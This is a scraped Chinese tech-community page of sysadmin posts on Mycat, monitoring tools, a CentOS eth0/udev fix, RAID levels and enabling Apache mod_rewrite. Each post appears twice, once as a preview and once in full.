    []完全实现分布式事务,完全的支持分布式。[/][]通过Mycat web(eye)完成可视化配置,及智能监控,自动运维。[/][]通过mysql 本地节点,完整的解决数据扩容难度,实现自动扩容机制,解决扩容难点。[/][]支持基于zookeeper的主从切换及Mycat集群化管理。[/][]通过Mycat Balance 替代第三方的Haproxy,LVS等第三方高可用,完整的兼容Mycat集群节点的动态上下线。[/][]接入Spark等第三方工具,解决数据分析及大数据聚合的业务场景。[/][]通过Mycat智能优化,分析分片热点,提供合理的分片建议,索引建议,及数据切分实时业务建议。[/]


优势


基于阿里开源的Cobar产品而研发,Cobar的稳定性、可靠性、优秀的架构和性能以及众多成熟的使用案例使得MYCAT一开始就拥有一个很好的起点,站在巨人的肩膀上,我们能看到更远。业界优秀的开源项目和创新思路被广泛融入到MYCAT的基因中,使得MYCAT在很多方面都领先于目前其他一些同类的开源项目,甚至超越某些商业产品。
MYCAT背后有一支强大的技术团队,其参与者都是5年以上资深软件工程师、架构师、DBA等,优秀的技术团队保证了MYCAT的产品质量。
MYCAT并不依托于任何一个商业公司,因此不像某些开源项目,将一些重要的特性封闭在其商业产品中,使得开源项目成了一个摆设。


Mycat关注


老外都开始关注Mycat了!
catmycat.png


Mycat官方论坛:http://i.mycat.io/forum.php
Mycat Github:https://github.com/MyCATApache
Mycat权威指南第一版_V1.5.1:http://pan.baidu.com/s/1i3SFOpf


监控软件对比选择

开源技术Rock 发表了文章 • 2 个评论 • 764 次浏览 • 2016-01-03 04:18 • 来自相关话题

Cacti、Nagios、Zabbix功能对比




 
其他对比
Cacti、Nagios、Zabbix功能对比
function.png

 
其他对比
monitor_soft.png

Linux知识工具大全

开源技术OpenSkill 发表了文章 • 0 个评论 • 2455 次浏览 • 2015-12-03 23:19 • 来自相关话题

简介:
Linux is a Unix-ish POSIX-compliant OS family. Most of the distros are GPL or otherwise FOSS. The defining component of Linux is the Linux Kernel, first released on 5 October 1991 by Linus Torvalds.

新版本






开始






受欢迎的网站






著名发行版本






Grok Linux       






Linux Virt






可调参数






Linux日志






Book/ebooks






Kernel Matrix 






内核地图






In Production






Linux论坛






shell指南






Linux安全






Linux桌面






防火墙






linux NAS






最佳实践





http://openskill.cn  开源技术社区分享
只做技术的分享,欢迎关注微信订阅号:




QQ群交流:





分享英文原文链接:https://linux.zeef.com/paul.reiber 查看全部
简介:
Linux is a Unix-ish POSIX-compliant OS family. Most of the distros are GPL or otherwise FOSS. The defining component of Linux is the Linux Kernel, first released on 5 October 1991 by Linus Torvalds.


新版本


linux1.png


开始


Linux2.png


受欢迎的网站


Linux3.png


著名发行版本


Linux4.png


Grok Linux       


Linux5.png


Linux Virt


Linux6.png


可调参数


Linux7.png


Linux日志


Linux8.png


Book/ebooks


Linux9.png


Kernel Matrix 


Linux10.png


内核地图


linux11.png


In Production


linux12.png


Linux论坛


linux13.png


shell指南


linux14.png


Linux安全


linux15.png


Linux桌面


linux16.png


防火墙


Linux17.png


linux NAS


Linux18.png


最佳实践


Linux19.png

http://openskill.cn  开源技术社区分享
只做技术的分享,欢迎关注微信订阅号:
openskill.gif

QQ群交流:
qqun.png


分享英文原文链接:https://linux.zeef.com/paul.reiber


device "eth0" does not seem to be present问题解决

开源技术Ansible 发表了文章 • 2 个评论 • 1242 次浏览 • 2015-11-30 20:49 • 来自相关话题

VM下ESXI5.5平台下,一台虚拟机重启,报如下信息:device "eth0" does not seem to be present, delaying initialization通过分析,原因是Centos6使用udev动态管理设备文件将MAC地址和网卡名称对应记录在udev的规则脚本中,VMware升级后虚拟机网卡MAC会改变,这样系统会认为网卡是新增的并命名为eth1,查看如下:ip add
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:0c:29:ce:c0:1e brd ff:ff:ff:ff:ff:ff
inet 192.168.1.13/24 brd 192.168.1.255 scope global eth1
inet6 fe80::20c:29ff:fece:c01e/64 scope link

解决方法1,修改网络配置文件设备eth0为eth1:

cat /etc/sysconfig/network-scripts/ifcfg-eth0
DEVICE="eth1"
BOOTPROSTO=static
IPADDR=192.168.1.13
NETMASK=255.255.255.0
GATEWAY=192.168.1.1
ONBOOT="yes"

解决方法2,修改udev记录的mac与网卡名称对应规则:

cat /etc/udev/rules.d/70-persistent-net.rules
# PCI device 0x1022:0x2000 (pcnet32)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?[i]", ATTR{address}=="00:0c:29:ce:c0:1e", ATTR{type}=="1", KERNEL=="eth[/i]", NA

解决方法3,删除规则文件,重启虚拟机

# rm -rf /etc/udev/rules.d/70-persistent-net.rules
# reboot 查看全部
VM下ESXI5.5平台下,一台虚拟机重启,报如下信息:
device "eth0" does not seem to be present, delaying initialization
通过分析,原因是Centos6使用udev动态管理设备文件将MAC地址和网卡名称对应记录在udev的规则脚本中,VMware升级后虚拟机网卡MAC会改变,这样系统会认为网卡是新增的并命名为eth1,查看如下:
ip add
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:0c:29:ce:c0:1e brd ff:ff:ff:ff:ff:ff
inet 192.168.1.13/24 brd 192.168.1.255 scope global eth1
inet6 fe80::20c:29ff:fece:c01e/64 scope link


解决方法1,修改网络配置文件设备eth0为eth1:


cat /etc/sysconfig/network-scripts/ifcfg-eth0 
DEVICE="eth1"
BOOTPROSTO=static
IPADDR=192.168.1.13
NETMASK=255.255.255.0
GATEWAY=192.168.1.1
ONBOOT="yes"


解决方法2,修改udev记录的mac与网卡名称对应规则:


cat /etc/udev/rules.d/70-persistent-net.rules 
# PCI device 0x1022:0x2000 (pcnet32)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?[i]", ATTR{address}=="00:0c:29:ce:c0:1e", ATTR{type}=="1", KERNEL=="eth[/i]", NA


解决方法3,删除规则文件,重启虚拟机


 # rm -rf /etc/udev/rules.d/70-persistent-net.rules
# reboot

Raid级别结构知识浅析

开源技术Ansible 发表了文章 • 1 个评论 • 1572 次浏览 • 2015-11-27 01:15 • 来自相关话题

一、Raid介绍

RAID是(Redundent Array of Inexpensive Disks)的缩写,直译为“廉价冗余磁盘阵列”,也简称为“磁盘阵列”。后来RAID中的字母I被改作了Independent,RAID就成了“独立冗余磁盘阵列”,但这只是名称的变化,实质性的内容并没有改变。可以把RAID理解成一种使用磁盘驱动器的方法,它将一组磁盘驱动器用某种逻辑方式联系起来,作为逻辑上的一个磁盘驱动器来使用。RAID 包含一组或者一个集合甚至一个阵列。使用一组磁盘结合驱动器组成 RAID 阵列或 RAID 集。将至少两个磁盘连接到一个 RAID 控制器,而成为一个逻辑卷,也可以将多个驱动器放在一个组中。一组磁盘只能使用一个 RAID 级别。使用 RAID 可以提高服务器的性能。不同 RAID 的级别,性能会有所不同。它通过容错和高可用性来保存我们的数据。RAID的优点:
[]传输速率高。在部分RAID模式中,可以让很多磁盘驱动器同时传输数据,而这些磁盘驱动器在逻辑上又是一个磁盘驱动器,所以使用RAID可以达到单个的磁盘驱动器几倍的速率。因为CPU的速度增长很快,而磁盘驱动器的数据传输速率无法大幅提高,所以需要有一种方案解决二者之间的矛盾。[/][]更高的安全性。相较于普通磁盘驱动器很多RAID模式都提供了多种数据修复功能,当RAID中的某一磁盘驱动器出现严重故障无法使用时,可以通过RAID中的其他磁盘驱动器来恢复此驱动器中的数据,而普通磁盘驱动器无法实现,这是使用RAID的第二个原因。[/]

二、Raid概念

软件 RAID 和硬件 RAID软件 RAID 的性能较低,因为其使用主机的资源。 需要加载 RAID 软件以从软件 RAID 卷中读取数据。在加载 RAID 软件前,操作系统需要引导起来才能加载 RAID 软件。在软件 RAID 中无需物理硬件。零成本投资。硬件 RAID 的性能较高。他们采用 PCI Express 卡物理地提供有专用的 RAID 控制器。它不会使用主机资源。他们有 NVRAM 用于缓存的读取和写入。缓存用于 RAID 重建时,即使出现电源故障,它会使用后备的电池电源保持缓存。对于大规模使用是非常昂贵的投资。硬件 RAID 卡如下所示:




几个重要Raid概念:
[]校验方式用在 RAID 重建中从校验所保存的信息中重新生成丢失的内容。 RAID 5,RAID 6 基于校验。[/][]条带化是将切片数据随机存储到多个磁盘。它不会在单个磁盘中保存完整的数据。如果我们使用2个磁盘,则每个磁盘存储我们的一半数据。[/][]镜像被用于 RAID 1 和 RAID 10。镜像会自动备份数据。在 RAID 1 中,它会保存相同的内容到其他盘上。[/][]热备份只是我们的服务器上的一个备用驱动器,它可以自动更换发生故障的驱动器。在我们的阵列中,如果任何一个驱动器损坏,热备份驱动器会自动用于重建 RAID。[/][]块是 RAID 控制器每次读写数据时的最小单位,最小 4KB。通过定义块大小,我们可以增加 I/O 性能。[/]

三、Raid级别

RAID有不同的级别,下面列举比较常用的模式:
[]RAID0 = 条带化[/][]RAID1 = 镜像[/][]RAID5 = 单磁盘分布式奇偶校验[/][]RAID6 = 双磁盘分布式奇偶校验[/][]RAID10 = 镜像 + 条带。(嵌套RAID)[/]
 
Raid 0



RAID 0,无冗余无校验的磁盘阵列。数据同时分布在各个磁盘上,没有容错能力,读写速度在RAID中最快,但因为任何一个磁盘损坏都会使整个RAID系统失效,所以安全系数反倒比单个的磁盘还要低。一般用在对数据安全要求不高,但对速度要求很高的场合,如:大型游戏、图形图像编辑等。此种RAID模式至少需要2个磁盘,而更多的磁盘则能提供更高效的数据传输。条带化有很好的性能。在RAID0(条带化)中数据将使用切片的方式被写入到磁盘。一半的内容放在一个磁盘上,另一半内容将被写入到另一个磁盘。 假设我们有2个磁盘驱动器,例如,如果我们将数据“TECMINT”写到逻辑卷中,“T”将被保存在第一盘中,“E”将保存在第二盘,'C'将被保存在第一盘,“M”将保存在第二盘,它会一直继续此循环过程。(LCTT 译注:实际上不可能按字节切片,是按数据块切片的。)


在这种情况下,如果驱动器中的任何一个发生故障,我们就会丢失数据,因为一个盘中只有一半的数据,不能用于重建 RAID。不过,当比较写入速度和性能时,RAID 0 是非常好的。创建 RAID 0(条带化)至少需要2个磁盘。如果你的数据是非常宝贵的,那么不要使用此 RAID 级别。特点:
[]高性能。[/][]RAID 0 中容量零损失。[/][]零容错。[/][]写和读有很高的性能。[/]
 
Raid 1



RAID 1,镜象磁盘阵列。每一个磁盘都有一个镜像磁盘,镜像磁盘随时保持与原磁盘的内容一致。RAID1具有最高的安全性,但只有一半的磁盘空间被用来存储数据。主要用在对数据安全性要求很高,而且要求能够快速恢复被损坏的数据的场合。此种RAID模式每组仅需要2个磁盘。镜像可以对我们的数据做一份相同的副本。假设我们有两个2TB的硬盘驱动器,我们总共有4TB,但在镜像中,但是放在RAID控制器后面的驱动器形成了一个逻辑驱动器,我们只能看到这个逻辑驱动器有2TB。当我们保存数据时,它将同时写入这两个2TB驱动器中。创建 RAID 1(镜像化)最少需要两个驱动器。如果发生磁盘故障,我们可以通过更换一个新的磁盘恢复 RAID 。如果在 RAID 1 中任何一个磁盘发生故障,我们可以从另一个磁盘中获取相同的数据,因为另外的磁盘中也有相同的数据。所以是零数据丢失。特点:
[]良好的性能。[/][]总容量丢失一半可用空间。[/][]完全容错。[/][]重建会更快。[/][]写性能变慢。[/][]读性能变好。[/][]能用于操作系统和小规模的数据库[/]
Raid 5



RAID 5, 无独立校验盘的奇偶校验磁盘阵列。同样采用奇偶校验来检查错误,但没有独立的校验盘,而是使用了一种特殊的算法,可以计算出任何一个带区校验块的存放位置。这样就可以确保任何对校验块进行的读写操作都会在所有的RAID磁盘中进行均衡,既提高了系统可靠性也消除了产生瓶颈的可能,对大小数据量的读写都有很好的性能。为了能跨越数组里的所有磁盘来写入数据及校验码信息,RAID 5设定最少需要三个磁盘,因此在这种情况下,会有1/3的磁盘容量会被备份校验码占用而无法使用,当有四个磁盘时,则需要1/4的容量作为备份,才能让最坏情况的发生率降到最低。当磁盘的数目增多时,每个磁盘上被备份校验码占用的磁盘容量就会降低,但是磁盘故障的风险率也同时增加了,一但同时有两个磁盘故障,则无法进行数据恢复。RAID 5多用于企业级。 RAID 5的以分布式奇偶校验的方式工作。奇偶校验信息将被用于重建数据。它从剩下的正常驱动器上的信息来重建。在驱动器发生故障时,这可以保护我们的数据。假设我们有4个驱动器,如果一个驱动器发生故障而后我们更换发生故障的驱动器后,我们可以从奇偶校验中重建数据到更换的驱动器上。奇偶校验信息存储在所有的4个驱动器上,如果我们有4个 1TB 的驱动器。奇偶校验信息将被存储在每个驱动器的256G中,而其它768GB是用户自己使用的。单个驱动器故障后,RAID 5依旧正常工作,如果驱动器损坏个数超过1个会导致数据的丢失。特点:
[]性能卓越[/][]读速度将非常好。[/][]写速度处于平均水准,如果我们不使用硬件 RAID 控制器,写速度缓慢。[/][]从所有驱动器的奇偶校验信息中重建。[/][]完全容错。[/][]1个磁盘空间将用于奇偶校验。[/][]可以被用在文件服务器,Web服务器,非常重要的备份中。[/]
Raid 6




RAID 6和RAID 5相似但它有两个分布式奇偶校验。大多用在大数量的阵列中。我们最少需要4个驱动器,即使有2个驱动器发生故障,我们依然可以更换新的驱动器后重建数据。它比RAID 5慢,因为它将数据同时写到4个驱动器上。当我们使用硬件 RAID 控制器时速度就处于平均水准。如果我们有6个的1TB驱动器,4个驱动器将用于数据保存,2个驱动器将用于校验。特点:
[]性能不佳。[/][]读的性能很好。[/][]如果我们不使用硬件 RAID 控制器写的性能会很差。[/][]从两个奇偶校验驱动器上重建。[/][]完全容错。[/][]2个磁盘空间将用于奇偶校验。[/][]可用于大型阵列。[/][]用于备份和视频流中,用于大规模。[/]
Raid 10



RAID 10可以被称为1 + 0或0 +1。它将做镜像+条带两个工作。在 RAID 10中首先做镜像然后做条带。在 RAID 01上首先做条带,然后做镜像。RAID 10比RAID 01好。假设,我们有4个驱动器。当我逻辑卷上写数据时,它会使用镜像和条带的方式将数据保存到4个驱动器上。

如果我在 RAID 10 上写入数据“TECMINT”,数据将使用如下方式保存。首先将“T”同时写入两个磁盘,“E”也将同时写入另外两个磁盘,所有数据都写入两块磁盘。这样可以将每个数据复制到另外的磁盘。

同时它将使用 RAID 0 方式写入数据,遵循将“T”写入第一组盘,“E”写入第二组盘。再次将“C”写入第一组盘,“M”到第二组盘。特点:
[]良好的读写性能。[/][]总容量丢失一半的可用空间。[/][]容错。[/][]从副本数据中快速重建。[/][]由于其高性能和高可用性,常被用于数据库的存储中。[/]
下面附录几张参考表:
针对不同RAID 模式在实际运用中可以使用的磁盘空间分别有多少,在用列表举例说明:




所有Raid级别的一些特性: 查看全部


一、Raid介绍


RAID是(Redundent Array of Inexpensive Disks)的缩写,直译为“廉价冗余磁盘阵列”,也简称为“磁盘阵列”。后来RAID中的字母I被改作了Independent,RAID就成了“独立冗余磁盘阵列”,但这只是名称的变化,实质性的内容并没有改变。可以把RAID理解成一种使用磁盘驱动器的方法,它将一组磁盘驱动器用某种逻辑方式联系起来,作为逻辑上的一个磁盘驱动器来使用。
RAID 包含一组或者一个集合甚至一个阵列。使用一组磁盘结合驱动器组成 RAID 阵列或 RAID 集。将至少两个磁盘连接到一个 RAID 控制器,而成为一个逻辑卷,也可以将多个驱动器放在一个组中。一组磁盘只能使用一个 RAID 级别。使用 RAID 可以提高服务器的性能。不同 RAID 的级别,性能会有所不同。它通过容错和高可用性来保存我们的数据。
RAID的优点:
    []传输速率高。在部分RAID模式中,可以让很多磁盘驱动器同时传输数据,而这些磁盘驱动器在逻辑上又是一个磁盘驱动器,所以使用RAID可以达到单个的磁盘驱动器几倍的速率。因为CPU的速度增长很快,而磁盘驱动器的数据传输速率无法大幅提高,所以需要有一种方案解决二者之间的矛盾。[/][]更高的安全性。相较于普通磁盘驱动器很多RAID模式都提供了多种数据修复功能,当RAID中的某一磁盘驱动器出现严重故障无法使用时,可以通过RAID中的其他磁盘驱动器来恢复此驱动器中的数据,而普通磁盘驱动器无法实现,这是使用RAID的第二个原因。[/]


二、Raid概念


软件 RAID 和硬件 RAID
软件 RAID 的性能较低,因为其使用主机的资源。 需要加载 RAID 软件以从软件 RAID 卷中读取数据。在加载 RAID 软件前,操作系统需要引导起来才能加载 RAID 软件。在软件 RAID 中无需物理硬件。零成本投资。
硬件 RAID 的性能较高。他们采用 PCI Express 卡物理地提供有专用的 RAID 控制器。它不会使用主机资源。他们有 NVRAM 用于缓存的读取和写入。缓存用于 RAID 重建时,即使出现电源故障,它会使用后备的电池电源保持缓存。对于大规模使用是非常昂贵的投资。
硬件 RAID 卡如下所示:
yraid.png

几个重要Raid概念:
    []校验方式用在 RAID 重建中从校验所保存的信息中重新生成丢失的内容。 RAID 5,RAID 6 基于校验。[/][]条带化是将切片数据随机存储到多个磁盘。它不会在单个磁盘中保存完整的数据。如果我们使用2个磁盘,则每个磁盘存储我们的一半数据。[/][]镜像被用于 RAID 1 和 RAID 10。镜像会自动备份数据。在 RAID 1 中,它会保存相同的内容到其他盘上。[/][]热备份只是我们的服务器上的一个备用驱动器,它可以自动更换发生故障的驱动器。在我们的阵列中,如果任何一个驱动器损坏,热备份驱动器会自动用于重建 RAID。[/][]是 RAID 控制器每次读写数据时的最小单位,最小 4KB。通过定义块大小,我们可以增加 I/O 性能。[/]


三、Raid级别


RAID有不同的级别,下面列举比较常用的模式:
    []RAID0 = 条带化[/][]RAID1 = 镜像[/][]RAID5 = 单磁盘分布式奇偶校验[/][]RAID6 = 双磁盘分布式奇偶校验[/][]RAID10 = 镜像 + 条带。(嵌套RAID)[/]

 
Raid 0
raid0.png
RAID 0,无冗余无校验的磁盘阵列。数据同时分布在各个磁盘上,没有容错能力,读写速度在RAID中最快,但因为任何一个磁盘损坏都会使整个RAID系统失效,所以安全系数反倒比单个的磁盘还要低。一般用在对数据安全要求不高,但对速度要求很高的场合,如:大型游戏、图形图像编辑等。此种RAID模式至少需要2个磁盘,而更多的磁盘则能提供更高效的数据传输。
条带化有很好的性能。在RAID0(条带化)中数据将使用切片的方式被写入到磁盘。一半的内容放在一个磁盘上,另一半内容将被写入到另一个磁盘。 
假设我们有2个磁盘驱动器,例如,如果我们将数据“TECMINT”写到逻辑卷中,“T”将被保存在第一盘中,“E”将保存在第二盘,'C'将被保存在第一盘,“M”将保存在第二盘,它会一直继续此循环过程。(LCTT 译注:实际上不可能按字节切片,是按数据块切片的。)


在这种情况下,如果驱动器中的任何一个发生故障,我们就会丢失数据,因为一个盘中只有一半的数据,不能用于重建 RAID。不过,当比较写入速度和性能时,RAID 0 是非常好的。创建 RAID 0(条带化)至少需要2个磁盘。如果你的数据是非常宝贵的,那么不要使用此 RAID 级别。
特点:
    []高性能。[/][]RAID 0 中容量零损失。[/][]零容错。[/][]写和读有很高的性能。[/]

 
Raid 1
raid1.png
RAID 1,镜象磁盘阵列。每一个磁盘都有一个镜像磁盘,镜像磁盘随时保持与原磁盘的内容一致。RAID1具有最高的安全性,但只有一半的磁盘空间被用来存储数据。主要用在对数据安全性要求很高,而且要求能够快速恢复被损坏的数据的场合。此种RAID模式每组仅需要2个磁盘。
镜像可以对我们的数据做一份相同的副本。假设我们有两个2TB的硬盘驱动器,我们总共有4TB,但在镜像中,但是放在RAID控制器后面的驱动器形成了一个逻辑驱动器,我们只能看到这个逻辑驱动器有2TB。
当我们保存数据时,它将同时写入这两个2TB驱动器中。创建 RAID 1(镜像化)最少需要两个驱动器。如果发生磁盘故障,我们可以通过更换一个新的磁盘恢复 RAID 。如果在 RAID 1 中任何一个磁盘发生故障,我们可以从另一个磁盘中获取相同的数据,因为另外的磁盘中也有相同的数据。所以是零数据丢失。
特点:
    []良好的性能。[/][]总容量丢失一半可用空间。[/][]完全容错。[/][]重建会更快。[/][]写性能变慢。[/][]读性能变好。[/][]能用于操作系统和小规模的数据库[/]

Raid 5
raid5.png
RAID 5, 无独立校验盘的奇偶校验磁盘阵列。同样采用奇偶校验来检查错误,但没有独立的校验盘,而是使用了一种特殊的算法,可以计算出任何一个带区校验块的存放位置。这样就可以确保任何对校验块进行的读写操作都会在所有的RAID磁盘中进行均衡,既提高了系统可靠性也消除了产生瓶颈的可能,对大小数据量的读写都有很好的性能。为了能跨越数组里的所有磁盘来写入数据及校验码信息,RAID 5设定最少需要三个磁盘,因此在这种情况下,会有1/3的磁盘容量会被备份校验码占用而无法使用,当有四个磁盘时,则需要1/4的容量作为备份,才能让最坏情况的发生率降到最低。当磁盘的数目增多时,每个磁盘上被备份校验码占用的磁盘容量就会降低,但是磁盘故障的风险率也同时增加了,一但同时有两个磁盘故障,则无法进行数据恢复。
RAID 5多用于企业级。 RAID 5的以分布式奇偶校验的方式工作。奇偶校验信息将被用于重建数据。它从剩下的正常驱动器上的信息来重建。在驱动器发生故障时,这可以保护我们的数据。
假设我们有4个驱动器,如果一个驱动器发生故障而后我们更换发生故障的驱动器后,我们可以从奇偶校验中重建数据到更换的驱动器上。奇偶校验信息存储在所有的4个驱动器上,如果我们有4个 1TB 的驱动器。奇偶校验信息将被存储在每个驱动器的256G中,而其它768GB是用户自己使用的。单个驱动器故障后,RAID 5依旧正常工作,如果驱动器损坏个数超过1个会导致数据的丢失。
特点:
    []性能卓越[/][]读速度将非常好。[/][]写速度处于平均水准,如果我们不使用硬件 RAID 控制器,写速度缓慢。[/][]从所有驱动器的奇偶校验信息中重建。[/][]完全容错。[/][]1个磁盘空间将用于奇偶校验。[/][]可以被用在文件服务器,Web服务器,非常重要的备份中。[/]

Raid 6

raid6.png
RAID 6和RAID 5相似但它有两个分布式奇偶校验。大多用在大数量的阵列中。我们最少需要4个驱动器,即使有2个驱动器发生故障,我们依然可以更换新的驱动器后重建数据。
它比RAID 5慢,因为它将数据同时写到4个驱动器上。当我们使用硬件 RAID 控制器时速度就处于平均水准。如果我们有6个的1TB驱动器,4个驱动器将用于数据保存,2个驱动器将用于校验。
特点:
    []性能不佳。[/][]读的性能很好。[/][]如果我们不使用硬件 RAID 控制器写的性能会很差。[/][]从两个奇偶校验驱动器上重建。[/][]完全容错。[/][]2个磁盘空间将用于奇偶校验。[/][]可用于大型阵列。[/][]用于备份和视频流中,用于大规模。[/]

Raid 10
raid10.png
RAID 10可以被称为1 + 0或0 +1。它将做镜像+条带两个工作。在 RAID 10中首先做镜像然后做条带。在 RAID 01上首先做条带,然后做镜像。RAID 10比RAID 01好。
假设,我们有4个驱动器。当我逻辑卷上写数据时,它会使用镜像和条带的方式将数据保存到4个驱动器上。

如果我在 RAID 10 上写入数据“TECMINT”,数据将使用如下方式保存。首先将“T”同时写入两个磁盘,“E”也将同时写入另外两个磁盘,所有数据都写入两块磁盘。这样可以将每个数据复制到另外的磁盘。

同时它将使用 RAID 0 方式写入数据,遵循将“T”写入第一组盘,“E”写入第二组盘。再次将“C”写入第一组盘,“M”到第二组盘。
特点:
    []良好的读写性能。[/][]总容量丢失一半的可用空间。[/][]容错。[/][]从副本数据中快速重建。[/][]由于其高性能和高可用性,常被用于数据库的存储中。[/]

下面附录几张参考表:
针对不同RAID 模式在实际运用中可以使用的磁盘空间分别有多少,在用列表举例说明:
raid_disk.png

所有Raid级别的一些特性:
raid_td.png

shell如何截取字符串中的数字

开源技术push 回复了问题 • 3 人关注 • 2 个回复 • 926 次浏览 • 2015-10-28 11:11 • 来自相关话题

Apache Couldn't start ErrorLog process

开源技术Geek小A 回复了问题 • 2 人关注 • 2 个回复 • 801 次浏览 • 2015-09-20 12:39 • 来自相关话题

zabbix怎么重置密码

开源技术koyo 回复了问题 • 2 人关注 • 1 个回复 • 806 次浏览 • 2015-09-10 11:30 • 来自相关话题

为apache单独编译mod_rewrite.so

开源技术OpenSkill 发表了文章 • 1 个评论 • 760 次浏览 • 2015-06-09 22:59 • 来自相关话题

问题描述:
在编译安装完了apache之后,发现需要rewrite功能,但是用/usr/local/apache2/bin/apachectl -M命令发现没有rewrite_module
解决办法:
1)重现编译apache
你可以查看/usr/local/apache2/build/config.nice 这个文件来查看你apache的编译参数,然后重新编译你只需要添加--enable-rewrite参数就行。
2)手动添加mod_rewrite模块
首先在apache的源码安装目录中寻找mod_rewrite.c文件# find / -name mod_rewrite.c
/usr/local/src/httpd-2.2.12/modules/mappers/mod_rewrite.c //apache的源码安装目录中的mod_rewrite.c文件

# cd /usr/local/src/httpd-2.2.12/modules/mappers/
# /usr/local/apache2/bin/apxs -c mod_rewrite.c //apxs应指定绝对路径,在你编译安装apache的bin目录里

# /usr/local/apache2/bin/apxs -i -a -n mod_rewrite mod_rewrite.la
如果这个过程中没有出错的话,在你的apache的modules目录中编译出一个mod_rewrite.so文件编辑httpd.conf文件,确认httpd.conf中已经包含mod_rewrite.so的加载语句,如下:
LoadModule rewrite_module modules/mod_rewrite.so
这时,你的apache应该已经支持rewrite了,    注:完成之后,记得重启服务器apache。
 
重启apache的过程中你可能还会遇到如下问题:httpd: Syntax error on line 54 of /usr/local/apache2/conf/httpd.conf: Can't locate API module structure `mod_rewrite_module' in file /usr/local/apache2/modules/mod_rewrite.so: /usr/local/apache2/modules/mod_rewrite.so: undefined symbol: mod_rewrite_module
或者
Syntax error on line 329 of /usr/local/apache2/conf/httpd.conf: Can`t loacte API module staructure `mod_rewrite_module` in file /usr/local/apache2/modules/mod_rewrite.so:/usr/local/apache2/lib/libapr-0.so.0:undefined symbol:mod_rewrite_module
解决方法如下:修改 httpd.conf,将
LoadModule mod_rewrite_module modules/mod_rewrite.so
改为
LoadModule rewrite_module modules/mod_rewrite.so如果重启apache出现这个错误  module rewrite_module is built-in and can`t be loaded
表示模块是内建的,不用再调入,注释掉#LoadModule rewrite_module modules/mod_rewrite.so语法检查:# /usr/local/apache2/bin/apachectl configtest
Syntax OK
这时,你的apache应该已经支持rewrite了。需要注意的配置,配置虚拟主机的时候要类似如下设置才可以生效:<VirtualHost *:80>
DocumentRoot /var/www/www/devopsh/
ServerName www.devopsh.com
<Directory /var/www/www/devopsh/>
Options FollowSymLinks
AllowOverride All
order allow,deny
Allow from all
</Directory>
</VirtualHost>

如果AllowOverride设置为none的话,apache会不读取网站的.htaccess文件!上面虚拟主机只是针对指定文件夹可以读取到.htaccess文件了,如果要针对所有的文件夹都支持.htaccess,修改主配置文件httpd.conf,修改如下:

<Directory />
Options FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from all
</Directory>

把AllowOverride None
"改成"
AllowOverride All
这样所有的文件夹都支持.htaccess了 查看全部
问题描述:
在编译安装完了apache之后,发现需要rewrite功能,但是用/usr/local/apache2/bin/apachectl -M命令发现没有rewrite_module
解决办法:
1)重现编译apache
你可以查看/usr/local/apache2/build/config.nice 这个文件来查看你apache的编译参数,然后重新编译你只需要添加--enable-rewrite参数就行。
2)手动添加mod_rewrite模块
首先在apache的源码安装目录中寻找mod_rewrite.c文件
# find / -name mod_rewrite.c
/usr/local/src/httpd-2.2.12/modules/mappers/mod_rewrite.c //apache的源码安装目录中的mod_rewrite.c文件

# cd /usr/local/src/httpd-2.2.12/modules/mappers/
# /usr/local/apache2/bin/apxs -c mod_rewrite.c //apxs应指定绝对路径,在你编译安装apache的bin目录里

# /usr/local/apache2/bin/apxs -i -a -n mod_rewrite mod_rewrite.la
如果这个过程中没有出错的话,在你的apache的modules目录中编译出一个mod_rewrite.so文件
编辑httpd.conf文件,确认httpd.conf中已经包含mod_rewrite.so的加载语句,如下:
LoadModule rewrite_module modules/mod_rewrite.so
这时,你的apache应该已经支持rewrite了,    注:完成之后,记得重启服务器apache。
 
重启apache的过程中你可能还会遇到如下问题:
httpd: Syntax error on line 54 of /usr/local/apache2/conf/httpd.conf: Can't locate API module structure `mod_rewrite_module' in file /usr/local/apache2/modules/mod_rewrite.so: /usr/local/apache2/modules/mod_rewrite.so: undefined symbol: mod_rewrite_module
或者
Syntax error on line 329 of /usr/local/apache2/conf/httpd.conf: Can`t loacte API module staructure `mod_rewrite_module` in file /usr/local/apache2/modules/mod_rewrite.so:/usr/local/apache2/lib/libapr-0.so.0:undefined symbol:mod_rewrite_module

解决方法如下:
修改 httpd.conf,将
LoadModule mod_rewrite_module modules/mod_rewrite.so
改为
LoadModule rewrite_module modules/mod_rewrite.so
如果重启apache出现这个错误  module rewrite_module is built-in and can`t be loaded
表示模块是内建的,不用再调入,注释掉
#LoadModule rewrite_module modules/mod_rewrite.so
语法检查:
# /usr/local/apache2/bin/apachectl configtest
Syntax OK
这时,你的apache应该已经支持rewrite了。
需要注意的配置,配置虚拟主机的时候要类似如下设置才可以生效:
<VirtualHost *:80>
DocumentRoot /var/www/www/devopsh/
ServerName www.devopsh.com
<Directory /var/www/www/devopsh/>
Options FollowSymLinks
AllowOverride All
order allow,deny
Allow from all
</Directory>
</VirtualHost>

如果AllowOverride设置为none的话,apache会不读取网站的.htaccess文件!
上面虚拟主机只是针对指定文件夹可以读取到.htaccess文件了,如果要针对所有的文件夹都支持.htaccess,修改主配置文件httpd.conf,修改如下:

<Directory />
Options FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from all
</Directory>

把AllowOverride None
"改成"
AllowOverride All
这样所有的文件夹都支持.htaccess了

Linux怎么查看磁盘UUID并挂载

回复

开源技术chris 回复了问题 • 3 人关注 • 2 个回复 • 750 次浏览 • 2016-06-02 10:42 • 来自相关话题

Linux增加虚拟内存swap脚本

开源技术being 发表了文章 • 0 个评论 • 467 次浏览 • 2016-05-16 10:09 • 来自相关话题

#!/bin/bash

